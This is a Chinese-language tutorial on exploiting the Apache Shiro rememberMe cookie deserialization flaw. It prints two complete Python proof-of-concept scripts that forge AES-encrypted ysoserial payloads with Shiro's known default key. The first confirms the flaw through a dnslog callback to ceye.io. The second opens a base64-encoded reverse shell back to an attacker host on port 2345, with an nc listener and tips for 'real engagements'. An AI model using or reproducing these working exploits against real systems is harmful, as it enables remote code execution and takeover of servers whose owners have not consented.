这个漏洞就是先生成带有payload的cookie,把cookie放在请求包中发送给目标服务端,目标服务器接收到这个cookie,会进行反序列化操作。
POC:
#!/usr/bin/env python3
# coding=utf-8
import sys
import uuid
import base64
import subprocess
import requests
import random
from Crypto.Cipher import AES
#EXP_CLASS = ["URLDNS"]
#EXP_CLASS = ["CommonsBeanutils1"]
#EXP_CLASS = ["CommonsCollections2"]
EXP_CLASS = ["JRMPClient"]
BLOCK_SIZE = AES.block_size
PAD_FUNC = lambda s: s + ((BLOCK_SIZE - len(s) % BLOCK_SIZE) * chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)).encode()
SHIRO_KEY = "kPH+bIxk5D2deZiIxcaaaA=="
AES_MODE = AES.MODE_CBC
AES_IV = uuid.uuid4().bytes
def attack(target):
for _exp_class in EXP_CLASS:
print("[*] Try to use {} payload...".format(_exp_class))
command = ''.join(random.sample(['z','y','x','w','v','u','t','s','r','q','p','o','n','m','l','k','j','i','h','g','f','e','d','c','b','a'], 5)) + '.9qe5rc.ceye.io'
print("[*] Try to use dnslog: {}".format(command))
popen = subprocess.Popen(["java", "-jar", "ysoserial.jar", _exp_class,command],stdout=subprocess.PIPE)
encryptor = AES.new(base64.b64decode(SHIRO_KEY), AES_MODE, AES_IV)
file_body = PAD_FUNC(popen.stdout.read())
base64_ciphertext = base64.b64encode(AES_IV + encryptor.encrypt(file_body))
#print("[*] base64_ciphertext: {}".format(base64_ciphertext))
print("[*] base64_decodeTXT: rememberMe={}".format(base64_ciphertext.decode()))
try:
response = requests.get(target, timeout=20, cookies={"rememberMe": base64_ciphertext.decode()})
print ('[*] Request to target URL success!')
except Exception as e:
print("[x] Request to target URL fail! {}".format(e))
break
if __name__ == '__main__':
target=(sys.argv[1])
attack(target)
我一般遇到这个漏洞,先会用打dnslog来证明漏洞是否存在
dnslog平台:http://ceye.io/
注册登录之后,去http://ceye.io/profile找到你的Identifier
把poc中的ceye平台地址改成自己的
先用dns平台来证明漏洞存在:
py -3 shiro.py http://192.168.64.134:8081/
上面是打dnslog的地址,下面为带有payload的cookie
也可以把cookie放在burp里面,自己请求发包
再去看dnslog平台
出现dnslog记录,说明漏洞存在
我们来利用反弹shell
上面打dnslog用的gadget为JRMPClient,现在换成CommonsCollections2来反弹shell
poc改为
#!/usr/bin/env python3
# coding=utf-8
import sys
import uuid
import base64
import subprocess
import requests
import random
from Crypto.Cipher import AES
EXP_CLASS = ["CommonsCollections2"]
BLOCK_SIZE = AES.block_size
PAD_FUNC = lambda s: s + ((BLOCK_SIZE - len(s) % BLOCK_SIZE) * chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)).encode()
SHIRO_KEY = "kPH+bIxk5D2deZiIxcaaaA=="
AES_MODE = AES.MODE_CBC
AES_IV = uuid.uuid4().bytes
def attack(target):
for _exp_class in EXP_CLASS:
print("[*] Try to use {} payload...".format(_exp_class))
command = "bash -c {echo,YmFz
aCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjY0LjEvMjM0NSAwPiYx}|{base64,-d}|{bash,-i}"
popen = subprocess.Popen(["java", "-jar", "ysoserial.jar", _exp_class,command],stdout=subprocess.PIPE)
encryptor = AES.new(base64.b64decode(SHIRO_KEY), AES_MODE, AES_IV)
file_body = PAD_FUNC(popen.stdout.read())
base64_ciphertext = base64.b64encode(AES_IV + encryptor.encrypt(file_body))
#print("[*] base64_ciphertext: {}".format(base64_ciphertext))
print("[*] base64_decodeTXT: rememberMe={}".format(base64_ciphertext.decode()))
try:
response = requests.get(target, timeout=20, cookies={"rememberMe": base64_ciphertext.decode()})
print ('[*] Request to target URL success!')
except Exception as e:
print("[x] Request to target URL fail! {}".format(e))
break
if __name__ == '__main__':
target=(sys.argv[1])
attack(target)
command改为bash -c {echo,YmFz
aCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjY0LjEvMjM0NSAwPiYx}|{base64,-d}|{bash,-i}
command是攻击代码,让目标主机执行的。
后面的bash命令就是反弹一个shell,在weblogic漏洞也见过了,我这里是监听2345端口
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjY0LjEvMjM0NSAwPiYx 是
bash -i >& /dev/tcp/192.168.64.1/2345 0>&1 base64加密后数据
这要根据自己的情况来改
192.168.64.1 用nc监听2345端口
然后运行poc
成功反弹shell
如果在实战情况中,CommonsCollections2不行的话,也可以试试CommonsBeanutils1